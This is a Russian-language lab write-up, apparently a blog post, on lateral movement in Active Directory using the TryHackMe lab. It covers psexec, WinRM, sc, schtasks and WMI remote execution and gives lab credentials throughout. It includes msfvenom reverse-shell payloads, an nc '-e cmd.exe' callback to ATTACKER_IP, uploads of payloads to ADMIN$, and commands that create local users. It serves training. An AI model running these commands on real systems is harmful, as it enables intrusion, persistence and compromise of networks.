Lateral Movement and Pivoting, part 1
@cherepawwkaВсем привет!
Это третья статья из цикла статей по атакам на домены Active Directory. В прошлый раз мы остановились на перечислении объектов домена и на поиске теоретических путей эксплуатации. После получения первоначального доступа и разведки мы выстроили план для дальнейшей атаки на домен. Но как быть, если наш текущий хост не позволяет нам провести атаку в силу своей роли и положения в домене? Сегодня как раз мы поговорим про это!

Эта статья является логическим продолжением статьи Enumerating Active Directory (часть 1, часть 2).
Вторая и третья части статьи доступны по ссылке ниже:
Приступим!
Введение
В этой комнате мы рассмотрим горизонтальное перемещение (Lateral Movement), группу методов, используемых злоумышленниками для наиболее скрытного перемещения по сети. Мы узнаем о нескольких распространенных методах, используемых в на практике, и о необходимых инструментах .

Цели
- Ознакомиться с приемами горизонтального перемещения, которые используют злоумышленники;
- Узнать, как использовать альтернативный материал для аутентификации, чтобы продвигаться в горизонтальном направлении;
- Узнать о различных методах использования скомпрометированных хостов в качестве опорных точек.
Для имитации мне предоставлен первый набор учетных данных для авторизации в AD:

Эта пара учетных данных предоставляет мне SSH-доступ к THMJMP2.za.tryhackme.com. THMJMP2 можно рассматривать как "прыжок" в рассматриваемую сеть, имитирующую достигнутую точку опоры.
Для доступа по SSH используем следующую команду:
ssh za\\henry.bird@thmjmp2.za.tryhackme.com

Перемещение по сети
Что такое горизонтальное перемещение?
Проще говоря, горизонтальное перемещение — это группа методов, используемых злоумышленниками для перемещения по сети. После того, как злоумышленник получил доступ к первой машине сети, перемещение необходимо по многим причинам, включая следующие:
- Достижение поставленных целей;
- Обход существующих сетевых ограничений;
- Создание дополнительных точек входа в сеть;
- Создание "путаницы" для избежания обнаружения.
Хотя во многих киллчейнах горизонтальное перемещение рассматривается как дополнительный шаг в линейном процессе, на самом деле оно является частью цикла. В течение этого цикла злоумышленник использует любые доступные учетные данные для выполнения горизонтального перемещения, что дает ему доступ к новым машинам, где он может повышать привилегии и извлекать учетные данные, если это возможно. С вновь обретенными учетными данными цикл начинается снова. Схематически это выглядит так:

Обычно злоумышленник повторяет такой цикл несколько раз, прежде чем достичь конечной цели. Если первая точка опоры — это машина с очень ограниченным доступом к другим сетевым ресурсам, для дальнейшей атаки может потребоваться горизонтальное перемещение на другие хосты, которые имеют больше привилегий в сети.
Быстрый пример
Предположим, мы пентестим сеть, где нашей конечной целью является доступ к внутреннему репозиторию кода. Первоначальный доступ к целевой сети мы получили с помощью фишинговой кампании. Обычно фишинговые кампании более эффективны против нетехнических пользователей, поэтому наш первоначальный доступ может быть с низкими привилегиями, например, компьютер маркетолога (Marketing-PC).
Такие рабочие станции обычно ограничены политиками брандмауэра для доступа к любым критически важным службам внутри сети, включая административные протоколы, порты баз данных, службы мониторинга или любые другие службы, которые не требуются сотруднику, работающему на данном ПК, для повседневной работы.
Чтобы получить доступ к конфиденциальным узлам и службам, нам нужно перейти к другим узлам, чтобы достичь оттуда конечной цели. Для этого мы можем попытаться повысить привилегии на рабочей станции Marketing-PC и извлечь хэши паролей локальных пользователей. Если мы найдем локального администратора, такая же учетная запись может присутствовать на других хостах. Проведя разведку, находим рабочую станцию с именем DEV-001-PC. Мы используем хэш пароля локального администратора для доступа к DEV-001-PC и подтверждаем, что узел принадлежит одному из разработчиков в компании. И оттуда целевой репозиторий уже доступен:

Обратите внимание, что хотя горизонтальное перемещение может потребоваться для обхода ограничений брандмауэра, оно также полезно для уклонения от обнаружения. В нашем примере, даже если рабочая станция отдела маркетинга имела прямой доступ к репозиторию кода, возможно, желательно все таки к репозиторию подключиться через ПК разработчика. Такое поведение было бы менее подозрительным с точки зрения аналитика SOC, отслеживающего журналы аудита входа в систему.
Перспективы атакующего
Есть несколько способов, благодаря которым злоумышленник может двигаться в горизонтальном направлении. Самый простой способ — использовать стандартные административные протоколы, такие как WinRM, RDP, VNC или SSH, для подключения к другим машинам в сети. Этот подход можно использовать для имитации поведения обычных пользователей до некоторой степени, если поддерживается некоторая согласованность при планировании того, под какой учетной записью куда можно подключаться. В то время как подключение IT-сотрудника к веб-серверу через RDP может быть обычным явлением и оставаться незамеченным, необходимо проявлять осторожность, чтобы не предпринимать подозрительных шагов (например, локальный администратор подключается к DEV-001-PC с компьютера отдела маркетинга).
В настоящее время у злоумышленников также есть другие методы горизонтального перемещения, что затрудняет для операторов SOC эффективное обнаружение аномалий. Важно сказать, что ни одна техника не может быть беспроигрышной. Но злоумышленник может, по крайней мере, стараться быть как можно тише.
Далее мы рассмотрим некоторые из наиболее распространенных техник бокового движения.
Администраторы и UAC
Выполняя большинство техник бокового движения, представленных в статье, я в основном буду использовать учетные данные администратора. Поэтому необходимо провести различие между двумя типами администраторов:
- Локальные учетные записи входят в локальную группу администраторов;
- Учетные записи домена входят в локальную группу администраторов
Различия, которые нас интересуют, — это ограничения, налагаемые контролем учетных записей (User Account Control, UAC) на локальных администраторов (за исключением учетной записи администратора по умолчанию). По умолчанию локальные администраторы не могут удаленно подключаться к машине и выполнять административные задачи, если только не используют интерактивный сеанс через RDP. Windows будет отклонять любую административную задачу, запрошенную через RPC, SMB или WinRM, поскольку такие администраторы будут входить в систему с filtered medium integrity token, что не позволит учетной записи выполнять привилегированные действия. Единственная локальная учетная запись, которая получит полные привилегии, — это учетная запись администратора по умолчанию.
Учетные записи домена с правами локального администратора не будут подвергаться таким же ограничениям и будут входить в систему с полными правами администратора.
При желании эту функцию безопасности можно отключить, так как иногда может практически не быть разницы между локальными и доменными учетными записями в группе администраторов. Тем не менее, важно иметь в виду, что если некоторые из методов горизонтального перемещения не сработали, то это может быть связано с использованием локального администратора, отличного от используемого по умолчанию. Подробнее можно прочитать здесь.
Удаленное выполнение процессов
Сейчас мы рассмотрим доступные методы, которые злоумышленник может использовать для удаленного запуска процесса, что позволит ему выполнять команды на машинах, где у него есть действительные учетные данные. Каждый из обсуждаемых методов использует немного разные способы для достижения одной и той же цели, и некоторые из них могут лучше подходить некоторых конкретных случаях.
Psexec
- Используемый порт: 445/TCP (SMB);
- Требуемое членство в группах: Administrators.
Psexec уже много лет используется при необходимости удаленного выполнения процессов. Утилита позволяет пользователю-администратору удаленно запускать команды на любом ПК, к которому у него есть доступ. Psexec — один из многих инструментов Sysinternals, его можно скачать здесь.
Принцип работы psexec следующий:
- Подключение к общему ресурсу Admin$ и загрузка двоичного файла службы psexesvc.exe;
- Подключение к диспетчеру управления службами для создания и запуска службы с именем PSEXESVC, установка исполняемого файла службы в настройках службы (
C:\Windows\psexesvc.exe); - Создание нескольких именованных каналов для обработки stdin/stdout/stderr.

Чтобы запустить psexec, нам нужно только указать валидные учетные данные администратора для удаленного хоста и команду, которую мы хотим запустить. Например, для запуска cmd.exe используется следующий синтаксис:
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
Удаленное создание процессов с помощью WinRM
- Используемые порты: 5985/TCP (WinRM HTTP ) или 5986/TCP (WinRM HTTPS);
- Требуемое членство в группах: Remote Management Users.
Windows Remote Management (WinRM) — это веб-протокол, используемый для удаленной отправки команд Powershell на хосты Windows. В большинстве релизов Windows Server WinRM включен по умолчанию, что делает его привлекательным вектором атаки.
Чтобы подключиться к удаленному сеансу Powershell из командной строки, мы можем использовать следующую команду:
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
Мы можем добиться того же с помощью Powershell, но для передачи других учетных данных нам нужно будет создать объект PSCredential:
$username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Создав объект PSCredential, мы можем породить интерактивный сеанс с помощью командлета Enter-PSSession:
Enter-PSSession -Computername TARGET -Credential $credential
В Powershell также есть командлет Invoke-Command, который может удаленно запускать ScriptBlocks через WinRM. Учетные данные также должны передаваться через объект PSCredential:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
Удаленное создание служб с помощью sc
- Используемые порты: 135/TCP, 49152-65535/TCP (DCE/RPC), 445/TCP (RPC через именованные каналы SMB), 139/TCP (RPC через именованные каналы SMB);
- Требуемое членство в группах: Administrators
Службы Windows также можно использовать для исполнения произвольных команд, поскольку они выполняют команды при запуске. Хотя исполняемый файл службы технически отличается от обычного приложения, если мы настроим службу Windows для запуска любого приложения, она все равно выполнит его и впоследствии "выйдет из строя".
Мы можем создать службу на удаленном хосте с помощью sc.exe, стандартного инструмента, доступного в Windows. При использовании sc будет осуществлена попытка подключиться к программе удаленного обслуживания Service Control Manager (SVCCTL) через RPC несколькими способами:
1) Будет предпринята попытка подключения с использованием DCE/RPC. Клиент сначала подключится к Endpoint Mapper (EPM) через порт 135, который служит каталогом доступных конечных точек RPC, и запросит информацию о сервисной программе SVCCTL. Затем EPM ответит IP-адресом и портом для подключения к SVCCTL, который обычно является динамическим портом в диапазоне 49152-65535;

2) Если такое соединение осуществить не удается, sc попытается получить доступ к SVCCTL через именованные каналы SMB, порт 445 (SMB) либо через порт 139 (SMB через NetBIOS);

Например, мы можем создать и запустить службу с именем «TestService», используя следующие команды:
sc.exe \\TARGET create TestService binPath= "net user munra Pass123 /add" start= auto sc.exe \\TARGET start TestService
Команда «net user» будет выполняться при запуске службы, создавая нового локального пользователя в системе. Поскольку за запуск службы отвечает операционная система, мы не увидим вывод команды.
Чтобы остановить и удалить службу, можно выполнить следующие команды:
sc.exe \\TARGET stop TestService sc.exe \\TARGET delete TestService
Удаленное создание задач планировщика
Еще одна функция Windows, которую злоумышленник может использовать, — это запланированные задачи. Существует возможность удаленно создать и запустить задачу с помощью утилиты schtasks, доступной в любом релизе Windows. Чтобы создать задачу с именем TestTask, мы можем использовать следующие команды:
schtasks /s TARGET /RU "SYSTEM" /create /tn "TestTask" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 schtasks /s TARGET /run /TN "TestTask"
Мы устанавливаем тип расписания (/sc) на ONCE, что означает, что задача предназначена для запуска только один раз в указанное время и дату. Поскольку мы будем запускать задачу вручную, дата начала (/sd) и время начала (/st) в любом случае не будут иметь большого значения.
Поскольку система выполнит запланированное задание, вывод команды мы снова не увидим, что делает атаку "слепой".
Чтобы удалить запланированную задачу, можно использовать следующую команду и очистить за собой:
schtasks /S TARGET /TN "TestTask" /DELETE /F
Приступим к практике!
В этом упражнении предполагается, что мы уже получили учетные данные пользователя с правами администратора:
Username: ZA.TRYHACKME.COM\t1_leonard.summers
Password: EZpass4ever
Я продемонстрирую, как можно использовать эти учетные данные для горизонтального перехода к THMIIS при помощи sc.exe.
Благодаря sc.exe, мы можем загрузить любой двоичный файл, который хотим выполнить, на удаленный хост и связать его с создаваемой нами службой. Однако, если мы попытаемся запустить обратную оболочку, используя этот метод, мы заметим, что обратная оболочка отключится сразу после начала работы. Причина в том, что исполняемые файлы служб отличаются от стандартных файлов .exe, и, следовательно, исполняемые файлы, не относящиеся к службам, почти сразу уничтожаются диспетчером служб. К счастью для нас, msfvenom поддерживает формат exe-service, который инкапсулирует любую полезную нагрузку в полнофункциональный исполняемый файл службы, предотвращая его уничтожение.
Чтобы создать обратную оболочку, мы можем использовать следующую команду:
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o cherepawwka.exe

Затем мы продолжим использовать учетные данные t1_leonard.summers для загрузки нашей полезной нагрузки в шару ADMIN$ на THMIIS с помощью smbclient с атакующей машины:
smbclient -c 'put cherepawwka.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever

Как только наш исполняемый файл загружен, настроим листенер на атакующей машине для получения обратного шелла:

Также можно сделать все это однострочной командой:
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
Поскольку sc.exe не позволяет нам указывать учетные данные как часть команды, нам нужно использовать runas для создания новой оболочки с токеном доступа t1_leonard.summer. Тем не менее, у нас есть только SSH-доступ к доменной машине, поэтому, если мы попробуем что-то вроде runas /netonly /user:ZA\t1_leonard.summers cmd.exe, новая командная строка появится в сеансе пользователя, и у нас не будет к ней доступа. Чтобы решить эту проблему, мы можем использовать runas для создания второй обратной оболочки с токеном доступа t1_leonard.summers:
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"

Примечание. Поскольку мы используем runas с параметром /netonl, то проверки валидности предоставленных учетных данных произведено не будет (об этом я говорил в прошлой статье). Поэтому важно вести пароль правильно.
Чтобы получить обратное соединение, используя nc на атакующей машине:
nc -lnvp 4443

Наконец, приступим к удаленному созданию новой службы с помощью sc, связав ее с загруженным двоичным файлом:
sc.exe \\thmiis.za.tryhackme.com create cherepawwka binPath= "%windir%\cherepawwka.exe" start= auto sc.exe \\thmiis.za.tryhackme.com start cherepawwka

После того, как мы запустили службу, получаем соединение в MSF:

Примеры для WinRM:
Через cmd.exe:
winrs.exe -u:t1_leonard.summers -p:EZpass4ever -r:thmiis.za.tryhackme.com cmd

Через PowerShell:


Горизонтальное перемещение с помощью WMI
Мы также можем осуществлять многие методы, описанные в предыдущей задаче, по-другому, используя Windows Management Instrumentation (WMI). WMI — это Windows-реализация средства Web-Based Enterprise Management (WBEM), стандарта для доступа к информации для управления на разных устройствах.
Проще говоря, WMI позволяет администраторам выполнять стандартные задачи управления, которыми злоумышленники могут злоупотреблять для выполнения горизонтального перемещения различными способами, которые мы далее обсудим.
Подключение к WMI из Powershell
Прежде чем мы сможем подключиться к WMI с помощью команд Powershell, нам нужно создать объект PSCredential с нашим пользователем и паролем. Этот объект будет храниться в переменной $credential и использоваться во всех методах этой задачи:
$username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Затем мы переходим к установлению сеанса WMI , используя любой из следующих протоколов:
- DCOM: для подключения к WMI будет использоваться RPC через IP . Этот протокол использует порты 135/TCP и 49152-65535/TCP (как при использовании sc.exe).
- Wsman: для подключения к WMI будет использоваться WinRM. Этот протокол использует порты 5985/TCP (WinRM HTTP) или 5986/TCP (WinRM HTTPS).
Чтобы установить сеанс WMI из Powershell, мы можем использовать следующие команды и сохранить сеанс в переменной $Session, которую мы будем использовать в разных техниках:
$Opt = New-CimSessionOption -Protocol DCOM $Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
Командлет New-CimSessionOption используется для настройки параметров подключения для сеанса WMI, включая протокол подключения. Затем параметры и учетные данные передаются командлету New-CimSession для установления сеанса связи с удаленным узлом.

Удаленное создание процессов с помощью WMI
- Используемые порты: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) или 5986/TCP (WinRM HTTPS);
- Требуемое членство в группах: Administrators.
Мы можем удаленно запустить процесс из Powershell, используя WMI, отправив WMI-запрос классу Win32_Process, чтобы запустить процесс в сеансе, который мы создали ранее:
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}


WMI не позволит увидеть вывод какой-либо команды, но действительно создаст требуемый процесс. В устаревших системах то же самое можно сделать с помощью wmic из командной строки:
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
Удаленное создание служб с помощью WMI
- Используемые порты: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS);
- Требуемое членство в группах: Administrators.
Мы можем создавать службы с WMI через Powershell. Чтобы создать службу с именем THMService2, мы можем использовать следующую команду:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
Затем мы можем получить дескриптор службы и запустить ее с помощью следующих команд:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'" Invoke-CimMethod -InputObject $Service -MethodName StartService
Наконец, мы можем остановить и удалить службу с помощью следующих команд:
Invoke-CimMethod -InputObject $Service -MethodName StopService Invoke-CimMethod -InputObject $Service -MethodName Delete


Удаленное создание запланированных задач с помощью WMI
- Используемые порты: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS);
- Требуемое членство в группах: Administrators.
Мы можем создавать и выполнять запланированные задачи, используя некоторые командлеты, доступные в Windows по умолчанию:
# Payload must be split in Command and Args $Command = "cmd.exe" $Args = "/c net user munra22 aSdf1234 /add" $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2" Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"


Чтобы удалить запланированную задачу после ее использования, мы можем использовать следующую команду:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Установка пакетов MSI через WMI
- Используемые порты: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS);
- Требуемое членство в группах: Administrators.
MSI — это формат файла, используемый для установщиков. Если мы сможем скопировать пакет MSI в целевую систему, то можем использовать WMI, чтобы попытаться установить его. Файл может быть скопирован любым доступным злоумышленнику способом. Как только файл MSI находится в целевой системе, мы можем попытаться установить его, вызвав класс Win32_Product через WMI :
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
Мы можем добиться того же, используя wmic в устаревших системах:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
Приступим к практике!
В этом упражнении мы предположим, что уже получили учетные данные пользователя с правами администратора:
Username: ZA.TRYHACKME.COM\t1_corine.waters
Password: Korine.1994
Я покажу, как использовать эти учетные данные для горизонтального перемещения к THMIIS с помощью пакетов WMI и MSI. Мы начнем с создания нашей полезной нагрузки MSI с помощью msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > myinstaller.msi
Затем мы копируем полезную нагрузку, используя SMB:
smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994

Поскольку мы скопировали нашу полезную нагрузку в общий ресурс ADMIN$, она будет доступна в C:\Windows\ на сервере.
Запускаем обработчик для получения обратного шелла от Metasploit:

Давайте начнем сеанс WMI с THMIIS из консоли Powershell. Для этого на THMJMP2 выполняем:
$username = 't1_corine.waters'; $password = 'Korine.1994'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; $Opt = New-CimSessionOption -Protocol DCOM $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

Затем мы вызываем метод Install из класса Win32_Product, чтобы активировать полезную нагрузку:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\cherepawwka.msi"; Options = ""; AllUsers = $false}

В результате получаем соединение на атакующей машине!

В следующей части статьи мы поговорим на атаки на протоколы аутентификации Windows, а также о том, как с их помощью можно горизонтально перемещаться по сети.
Вторая часть статьи доступна по ссылке ниже:
